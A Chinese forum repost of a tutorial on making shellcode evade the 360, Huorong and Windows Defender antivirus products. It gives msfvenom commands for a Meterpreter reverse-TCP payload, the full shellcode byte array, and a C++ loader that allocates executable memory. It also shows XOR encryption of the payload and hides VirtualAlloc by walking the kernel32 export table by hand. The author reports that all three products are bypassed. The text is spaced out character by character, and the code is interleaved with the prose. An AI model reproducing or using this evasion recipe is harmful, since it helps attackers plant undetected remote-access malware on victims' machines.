搜索

[22281] 2021-08-23_【Windows】Shellcode免杀，过360、火绒、Defender静态及主防

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-23_【Windows】Shellcode免杀，过360、火绒、Defender静态及主防 【 W i n d o w s 】 S h e l l c o d e 免 杀 ， 过 3 6 0 、 火 绒 、 D e f e n d e r   静 态 及 主 防 L e m o n S e c   2 0 2 1 - 0 8 - 2 3         S h e l l c o d e ， 顾 名 思 义 是 一 段 拿 来 执 行 的 代 码 片 段 ， 我 们 可 以 使 用 S h e l l c o d e 来 完 成 我 们 需 要 的 任 务         弹 窗 的 代 码 ， 可 以 被 认 为 是 一 段 S h e l l c o d e ， 获 取 某 个 模 块 的 基 址 的 代 码 ， 也 可 以 被 认 为 是 一 段 S h e l l c o d e ， 同 理 ， 拿 来 干 坏 事 的 代 码 ， 也 是 S h e l l c o d e         如 今 的 杀 毒 软 件 都 拥 有 查 杀 病 毒 木 马 的 能 力 ， 除 了 静 态 的 查 杀 ， 还 有 动 态 的 主 动 防 御 ， 若 恶 意 代 码 片 段 （ 拿 来 干 坏 事 的 S h e l l c o d e ） 被 杀 软 发 现 ， 则 可 以 认 为 当 前 运 行 的 程 序 是 病 毒 木 马 或 是 被 感 染 的 文 件 ， 理 应 “ 杀 掉 ”         有 些 时 候 ， 我 们 不 想 让 自 己 写 的 代 码 被 杀 毒 软 件 当 作 恶 意 软 件 ， 于 是 出 现 了 免 杀 技 术 ， 今 天 来 尝 试 着 做 一 次 免 杀         首 先 使 用 万 能 的 M e t a s p l o i t 生 成 一 个 普 普 通 通 的 p a y l o a d 文 件         把 p a y l o a d . e x e 复 制 到 带 有 火 绒 的 系 统 中 ， 被 秒 杀 ， 由 此 见 得 各 杀 软 是 把 这 一 类 工 具 的 产 物 盯 得 死 死 的         换 个 思 路 ， 仅 把 S h e l l c o d e 生 成 出 来 ， 自 己 做 免 杀         得 到 的 p a y l o a d . c 如 下         然 后 我 们 使 用 C + + 来 执 行 这 段 S h e l l c o d e         开 发 环 境 用 的 是 V i s u a l   S t u d i o   2 0 1 9 ， R e l e a s e   x 8 6 ， 其 余 是 默 认 设 置         我 们 将 编 译 好 的 程 序 运 行 ， 输 入 1 2 3 回 车 ， S h e l l c o d e 执 行 成 功 ， 而 全 程 火 绒 没 有 任 何 反 应         火 绒 的 静 态 和 主 防 能 力 有 点 令 人 糟 心         将 程 序 复 制 到 有 D e f e n d e r 的 系 统 上 ， 被 秒 杀         D e f e n d e r 静 态 查 杀 估 计 是 特 征 码 ， 我 们 将 p a y l o a d 加 密 一 下 m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = x x x   - f   e x e   - o   p a y l o a d . e x e m s f v e n o m   - p   w i n d o w s / m e t e r p r e t e r / r e v e r s e _ t c p   L H O S T = x x x   - f   c   - o   p a y l o a d . c u n s i g n e d   c h a r   b u f [ ]   =   " x f c x e 8 x 8 f x 0 0 x 0 0 x 0 0 x 6 0 x 3 1 x d 2 x 8 9 x e 5 x 6 4 x 8 b x 5 2 x 3 0 " " x 8 b x 5 2 x 0 c x 8 b x 5 2 x 1 4 x 3 1 x f f x 0 f x b 7 x 4 a x 2 6 x 8 b x 7 2 x 2 8 " " x 3 1 x c 0 x a c x 3 c x 6 1 x 7 c x 0 2 x 2 c x 2 0 x c 1 x c f x 0 d x 0 1 x c 7 x 4 9 " " x 7 5 x e f x 5 2 x 8 b x 5 2 x 1 0 x 5 7 x 8 b x 4 2 x 3 c x 0 1 x d 0 x 8 b x 4 0 x 7 8 " " x 8 5 x c 0 x 7 4 x 4 c x 0 1 x d 0 x 8 b x 5 8 x 2 0 x 0 1 x d 3 x 8 b x 4 8 x 1 8 x 5 0 " " x 8 5 x c 9 x 7 4 x 3 c x 3 1 x f f x 4 9 x 8 b x 3 4 x 8 b x 0 1 x d 6 x 3 1 x c 0 x c 1 " " x c f x 0 d x a c x 0 1 x c 7 x 3 8 x e 0 x 7 5 x f 4 x 0 3 x 7 d x f 8 x 3 b x 7 d x 2 4 " " x 7 5 x e 0 x 5 8 x 8 b x 5 8 x 2 4 x 0 1 x d 3 x 6 6 x 8 b x 0 c x 4 b x 8 b x 5 8 x 1 c " " x 0 1 x d 3 x 8 b x 0 4 x 8 b x 0 1 x d 0 x 8 9 x 4 4 x 2 4 x 2 4 x 5 b x 5 b x 6 1 x 5 9 " " x 5 a x 5 1 x f f x e 0 x 5 8 x 5 f x 5 a x 8 b x 1 2 x e 9 x 8 0 x f f x f f x f f x 5 d " " x 6 8 x 3 3 x 3 2 x 0 0 x 0 0 x 6 8 x 7 7 x 7 3 x 3 2 x 5 f x 5 4 x 6 8 x 4 c x 7 7 x 2 6 " " x 0 7 x 8 9 x e 8 x f f x d 0 x b 8 x 9 0 x 0 1 x 0 0 x 0 0 x 2 9 x c 4 x 5 4 x 5 0 x 6 8 " " x 2 9 x 8 0 x 6 b x 0 0 x f f x d 5 x 6 a x 0 a x 6 8 x c 0 x a 8 x 9 9 x 8 1 x 6 8 x 0 2 " " x 0 0 x 1 1 x 5 c x 8 9 x e 6 x 5 0 x 5 0 x 5 0 x 5 0 x 4 0 x 5 0 x 4 0 x 5 0 x 6 8 x e a " " x 0 f x d f x e 0 x f f x d 5 x 9 7 x 6 a x 1 0 x 5 6 x 5 7 x 6 8 x 9 9 x a 5 x 7 4 x 6 1 " " x f f x d 5 x 8 5 x c 0 x 7 4 x 0 a x f f x 4 e x 0 8 x 7 5 x e c x e 8 x 6 7 x 0 0 x 0 0 " " x 0 0 x 6 a x 0 0 x 6 a x 0 4 x 5 6 x 5 7 x 6 8 x 0 2 x d 9 x c 8 x 5 f x f f x d 5 x 8 3 " " x f 8 x 0 0 x 7 e x 3 6 x 8 b x 3 6 x 6 a x 4 0 x 6 8 x 0 0 x 1 0 x 0 0 x 0 0 x 5 6 x 6 a " " x 0 0 x 6 8 x 5 8 x a 4 x 5 3 x e 5 x f f x d 5 x 9 3 x 5 3 x 6 a x 0 0 x 5 6 x 5 3 x 5 7 " " x 6 8 x 0 2 x d 9 x c 8 x 5 f x f f x d 5 x 8 3 x f 8 x 0 0 x 7 d x 2 8 x 5 8 x 6 8 x 0 0 " " x 4 0 x 0 0 x 0 0 x 6 a x 0 0 x 5 0 x 6 8 x 0 b x 2 f x 0 f x 3 0 x f f x d 5 x 5 7 x 6 8 " " x 7 5 x 6 e x 4 d x 6 1 x f f x d 5 x 5 e x 5 e x f f x 0 c x 2 4 x 0 f x 8 5 x 7 0 x f f " " x f f x f f x e 9 x 9 b x f f x f f x f f x 0 1 x c 3 x 2 9 x c 6 x 7 5 x c 1 x c 3 x b b " " x f 0 x b 5 x a 2 x 5 6 x 6 a x 0 0 x 5 3 x f f x d 5 " ; # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < i o s t r e a m > u s i n g   n a m e s p a c e   s t d ; / /   此 处 是 上 面 的 p a y l o a d . c 中 的 代 码 i n t   m a i n ( ) {     i n t   a ;     c i n   > >   a ;     i f   ( a   = =   1 2 3 )     {         a u t o   b   =   ( v o i d ( * ) ( ) ) V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( b ,   b u f ,   s i z e o f ( b u f ) ) ;         b ( ) ;     } } s t r i n g   s ; f o r   ( s i z e _ t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + ) {     i n t   n   =   b u f [ i ]   ^   0 x 4 4 ;
        即 可 得 到 加 密 后 的 p a y l o a d ， 我 们 把 输 出 的 新 p a y l o a d 替 换 原 有 的 p a y l o a d ， 然 后 在 b ( ) ; 上 一 行 添 加 解 密 代 码 。         这 次 新 生 成 的 程 序 成 功 绕 过 了 D e f e n d e r 的 静 态 查 杀 ， 网 传 D e f e n d e r 没 有 主 动 防 御 ， 不 知 是 真 是 假 ， 反 正 S h e l l c o d e 也 成 功 执 行 ， 代 表 着 D e f e n d e r 没 起 作 用         接 下 来 把 程 序 复 制 到 有 3 6 0 的 系 统 上 ， 3 6 0 没 有 第 一 时 间 报 毒 ， 但 是 双 击 执 行 的 时 候 被 拦 截 下 来 了 ， 弹 窗 提 示 木 马         好 家 伙 ， 接 下 来 就 是 长 达 半 小 时 的 不 断 尝 试         本 身 S h e l l c o d e 被 加 密 ， 特 征 码 肯 定 是 没 有 了 ， 而 程 序 一 开 始 并 没 有 执 行 S h e l l c o d e ， 因 此 被 杀 的 原 因 肯 定 是 出 在 自 己 的 C + + 代 码 上         考 虑 到 V i r t u a l A l l o c 是 一 个 高 危 函 数 ， 在 杀 软 心 中 权 重 很 大 ， 且 配 合 其 参 数 ， 申 请 一 块 可 执 行 的 内 存 空 间 的 行 为 非 常 可 疑 ， 这 应 该 是 被 杀 的 主 要 原 因         采 用 我 前 面 发 的 写 壳 的 文 章 中 手 动 找 函 数 地 址 的 方 法 ， 避 开 将 V i r t u a l A l l o c 明 文 写 在 导 入 表 里     c h a r   c [ 5 ] { } ;     s p r i n t f _ s ( c ,   " x % x " ,   n ) ;     s   + =   c ; } c o u t   < <   s   < <   e n d l ; f o r   ( s i z e _ t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + ) {     ( ( u n s i g n e d   c h a r * ) b ) [ i ]   ^ =   0 x 4 4 ; } # i n c l u d e   < W i n d o w s . h > # i n c l u d e   < i o s t r e a m > u s i n g   n a m e s p a c e   s t d ; t y p e d e f   F A R P R O C ( W I N A P I *   f G e t P r o c A d d r e s s ) ( H M O D U L E ,   L P C S T R ) ; t y p e d e f   L P V O I D ( W I N A P I *   f V i r t u a l A l l o c ) ( L P V O I D ,   S I Z E _ T ,   D W O R D ,   D W O R D ) ; u n s i g n e d   c h a r   b u f [ ]   =   " x b 8 x a c x c b x 4 4 x 4 4 x 4 4 x 2 4 x 7 5 x 9 6 x c d x a 1 x 2 0 x c f x 1 6 x 7 4 x c f x 1 6 x 4 8 x c f x 1 6 x 5 0 x 7 5 x b b x 4 b x f 3 x e x 6 2 x c f x 3 6 x 6 c x 7 5 x 8 4 x e 8 x 7 8 x 2 5 x 3 8 x 4 6 x 6 8 x 6 4 x 8 5 x 8 b x 4 9 x 4 5 x 8 3 x d x 3 1 x a b x 1 6 x c f x 1 6 x 5 4 x 1 3 x c f x 6 x 7 8 x 4 5 x 9 4 x c f x 4 x 3 c x c 1 x 8 4 x 3 0 x 8 x 4 5 x 9 4 x c f x 1 c x 6 4 x 4 5 x 9 7 x c f x c x 5 c x 1 4 x c 1 x 8 d x 3 0 x 7 8 x 7 5 x b b x d x c f x 7 0 x c f x 4 5 x 9 2 x 7 5 x 8 4 x 8 5 x 8 b x 4 9 x e 8 x 4 5 x 8 3 x 7 c x a 4 x 3 1 x b 0 x 4 7 x 3 9 x b c x 7 f x 3 9 x 6 0 x 3 1 x a 4 x 1 c x c f x 1 c x 6 0 x 4 5 x 9 7 x 2 2 x c f x 4 8 x f x c f x 1 c x 5 8 x 4 5 x 9 7 x c f x 4 0 x c f x 4 5 x 9 4 x c d x 0 x 6 0 x 6 0 x 1 f x 1 f x 2 5 x 1 d x 1 e x 1 5 x b b x a 4 x 1 c x 1 b x 1 e x c f x 5 6 x a d x c 4 x b b x b b x b b x 1 9 x 2 c x 7 7 x 7 6 x 4 4 x 4 4 x 2 c x 3 3 x 3 7 x 7 6 x 1 b x 1 0 x 2 c x 8 x 3 3 x 6 2 x 4 3 x c d x a c x b b x 9 4 x f c x d 4 x 4 5 x 4 4 x 4 4 x 6 d x 8 0 x 1 0 x 1 4 x 2 c x 6 d x c 4 x 2 f x 4 4 x b b x 9 1 x 2 e x 4 e x 2 c x 8 4 x e c x d d x c 5 x 2 c x 4 6 x 4 4 x 5 5 x 1 8 x c d x a 2 x 1 4 x 1 4 x 1 4 x 1 4 x 4 x 1 4 x 4 x 1 4 x 2 c x a e x 4 b x 9 b x a 4 x b b x 9 1 x d 3 x 2 e x 5 4 x 1 2 x 1 3 x 2 c x d d x e 1 x 3 0 x 2 5 x b b x 9 1 x c 1 x 8 4 x 3 0 x 4 e x b b x a x 4 c x 3 1 x a 8 x a c x 2 3 x 4 4 x 4 4 x 4 4 x 2 e x 4 4 x 2 e x 4 0 x 1 2 x 1 3 x 2 c x 4 6 x 9 d x 8 c x 1 b x b b x 9 1 x c 7 x b c x 4 4 x 3 a x 7 2 x c f x 7 2 x 2 e x 4 x 2 c x 4 4 x 5 4 x 4 4 x 4 4 x 1 2 x 2 e x 4 4 x 2 c x 1 c x e 0 x 1 7 x a 1 x b b x 9 1 x d 7 x 1 7 x 2 e x 4 4 x 1 2 x 1 7 x 1 3 x 2 c x 4 6 x 9 d x 8 c x 1 b x b b x 9 1 x c 7 x b c x 4 4 x 3 9 x 6 c x 1 c x 2 c x 4 4 x 4 x 4 4 x 4 4 x 2 e x 4 4 x 1 4 x 2 c x 4 f x 6 b x 4 b x 7 4 x b b x 9 1 x 1 3 x 2 c x 3 1 x 2 a x 9 x 2 5 x b b x 9 1 x 1 a x 1 a x b b x 4 8 x 6 0 x 4 b x c 1 x 3 4 x b b x b b x b b x a d x d f x b b x b b x b b x 4 5 x 8 7 x 6 d x 8 2 x 3 1 x 8 5 x 8 7 x f f x b 4 x f 1 x e 6 x 1 2 x 2 e x 4 4 x 1 7 x b b x 9 1 " s i z e _ t   g e t K e r n e l B a s e ( ) {     r e t u r n   * ( * * * ( * ( ( s i z e _ t * * * * * ) _ _ r e a d f s d w o r d ( 0 x 3 0 )   +   3 )   +   7 )   +   2 ) ; } i n t   m a i n ( ) {     i n t   a ;     c i n   > >   a ;     i f   ( a   = =   1 2 3 )     {         s i z e _ t   h K e r n e l   =   g e t K e r n e l B a s e ( ) ;         P I M A G E _ D O S _ H E A D E R   p I m a g e D o s H e a d e r   =   ( P I M A G E _ D O S _ H E A D E R ) h K e r n e l ;         P I M A G E _ N T _ H E A D E R S   p I m a g e N t H e a d e r   =   ( P I M A G E _ N T _ H E A D E R S ) ( p I m a g e D o s H e a d e r - > e _ l f a n e w   +   h K e r n e l ) ;         P I M A G E _ E X P O R T _ D I R E C T O R Y   p I m a g e E x p o r t D i r e c t o r y   =   ( P I M A G E _ E X P O R T _ D I R E C T O R Y ) ( p I m a g e N t H e a d e r - > O p t i o n a l H e a d e r . D a t a D i r e c t o r y [ I M A G E _ D I R E C T O R Y _ E N T R Y _ E X P O R T ] . V i r t u a l A d d r e s s   +   h K e r n e l ) ;         s i z e _ t   n a m e C o u n t   =   p I m a g e E x p o r t D i r e c t o r y - > N u m b e r O f N a m e s ;         s i z e _ t   f u n c A d d r   =   p I m a g e E x p o r t D i r e c t o r y - > A d d r e s s O f F u n c t i o n s   +   h K e r n e l ;         s i z e _ t   n a m e A d d r   =   p I m a g e E x p o r t D i r e c t o r y - > A d d r e s s O f N a m e s   +   h K e r n e l ;         s i z e _ t   o r d i n a l   =   p I m a g e E x p o r t D i r e c t o r y - > A d d r e s s O f N a m e O r d i n a l s   +   h K e r n e l ;         f G e t P r o c A d d r e s s   f n G e t P r o c A d d r e s s   =   N U L L ;         f o r   ( s i z e _ t   i   =   0 ;   i   <   n a m e C o u n t ;   i + + )         {             U S H O R T *   n   =   ( U S H O R T * ) ( * ( s i z e _ t * ) ( n a m e A d d r   +   i   *   4 )   +   h K e r n e l ) ;             i f   ( n [ 0 ]   = =   0 x 6 5 4 7   & &   n [ 1 ]   = =   0 x 5 0 7 4   & &   n [ 2 ]   = =   0 x 6 f 7 2   & &   n [ 3 ]   = =   0 x 4 1 6 3   & &   n [ 4 ]   = =   0 x 6 4 6 4   & &   n [ 5 ]   = =   0 x 6 5 7 2   & &   n [ 6 ]   = =   0 x 7 3 7 3 )             {                 f n G e t P r o c A d d r e s s   =   ( f G e t P r o c A d d r e s s ) ( * ( s i z e _ t * ) ( f u n c A d d r   +   * ( U S H O R T * ) ( o r d i n a l   +   i   *   2 )   *   4 )   +   h K e r n e l ) ;             }         }         i f   ( f n G e t P r o c A d d r e s s   = =   N U L L )         {             r e t u r n   0 ;         }         s i z e _ t   s t r 1 [ 4 ] ;         s t r 1 [ 0 ]   =   0 x 7 4 7 2 6 9 5 6 ;         s t r 1 [ 1 ]   =   0 x 4 1 6 c 6 1 7 5 ;         s t r 1 [ 2 ]   =   0 x 6 3 6 f 6 c 6 c ;         s t r 1 [ 3 ]   =   0 x 0 ;         f V i r t u a l A l l o c   f n V i r t u a l A l l o c   =   ( f V i r t u a l A l l o c ) f n G e t P r o c A d d r e s s ( ( H M O D U L E ) h K e r n e l ,   ( c h a r * ) s t r 1 ) ;         a u t o   b   =   ( v o i d ( * ) ( ) ) f n V i r t u a l A l l o c ( N U L L ,   s i z e o f ( b u f ) ,   M E M _ C O M M I T   |   M E M _ R E S E R V E ,   P A G E _ E X E C U T E _ R E A D W R I T E ) ;         m e m c p y ( b ,   b u f ,   s i z e o f ( b u f ) ) ;         f o r   ( s i z e _ t   i   =   0 ;   i   <   s i z e o f ( b u f ) ;   i + + )         {             ( ( u n s i g n e d   c h a r * ) b ) [ i ]   ^ =   0 x 4 4 ;         }         b ( ) ;     } }
        要 注 意 的 是 ， 我 这 里 把 找 K e r n e l 3 2 . d l l 基 址 的 代 码 另 起 了 一 个 函 数 ， 是 因 为 不 这 样 的 话 还 是 会 被 查 杀 ， 估 计 是 “ 获 取 基 址 + 解 析 P E 文 件 ” 这 一 段 代 码 被 识 别 成 了 特 征 码 ， 而 我 将 它 们 分 开 则 破 坏 了 特 征         为 了 不 让 编 译 器 优 化 机 制 坏 我 们 的 好 事 ， 在 设 置 中 关 闭 编 译 器 优 化         接 下 来 新 生 成 的 程 序 成 功 绕 过 了 3 6 0 的 查 杀 ， 顺 利 执 行 了 S h e l l c o d e         再 将 程 序 分 别 拿 到 有 火 绒 和 有 D e f e n d e r 的 系 统 中 ， 照 样 无 视 它 们 ~         至 此 ， S h e l l c o d e 免 杀 就 告 一 段 落 了 ， 这 次 尝 试 还 是 比 较 成 功 的 ， 在 思 考 的 过 程 中 我 也 有 许 多 的 收 获 ， 自 己 也 有 一 些 独 自 的 见 解 ， 比 如 插 入 花 指 令 啥 的 ， 当 时 试 了 一 下 没 起 作 用 ， 现 在 想 想 ， 有 可 能 是 被 编 译 器 优 化 坏 了 好 事 =   =         同 时 ， 在 网 上 收 集 资 料 的 过 程 中 也 看 到 了 许 多 大 佬 的 文 章 和 心 得 ， 函 数 哈 希 、 托 管 代 码 、 p o w e r s h e l l 、 白 加 黑 等 操 作 令 我 耳 目 一 新 ， 有 时 间 的 话 把 这 些 方 法 都 学 一 学 ， 也 算 是 增 长 见 识 了         现 在 的 杀 软 的 云 查 杀 非 常 厉 害 ， 单 独 的 免 杀 我 认 为 前 途 不 大 ， 如 果 程 序 能 够 自 己 “ 分 裂 ” 无 数 个 自 己 ， 而 每 个 自 己 又 不 相 同 ， 却 可 以 完 成 一 样 的 事 情 ， 这 才 能 真 正 应 对 云 查 杀 - - - 》 推 荐 公 众 号 ： 推 荐 公 众 号 ：         每 日 分 享 红 蓝 队 技 术 文 章 与 工 具 使 用   下 载 方 式 、 以 及 不 定 期 的 安 全 类 书 籍 抽 奖 ～ C S D N 博 主 「 古 月 浪 子 」 ： h t t p s : / / b l o g . c s d n . n e t / t q y d y q t / a r t i c l e / d e t a i l s / 1 1 3 8 3 1 5 3 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理